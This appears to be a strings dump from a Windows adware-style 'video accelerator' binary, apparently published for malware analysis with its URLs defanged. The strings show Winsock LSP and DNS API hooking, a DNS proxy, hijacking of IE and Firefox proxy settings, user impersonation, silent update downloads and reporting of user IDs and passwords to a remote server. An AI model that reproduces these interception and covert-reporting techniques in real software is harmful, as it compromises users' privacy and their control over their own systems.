[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

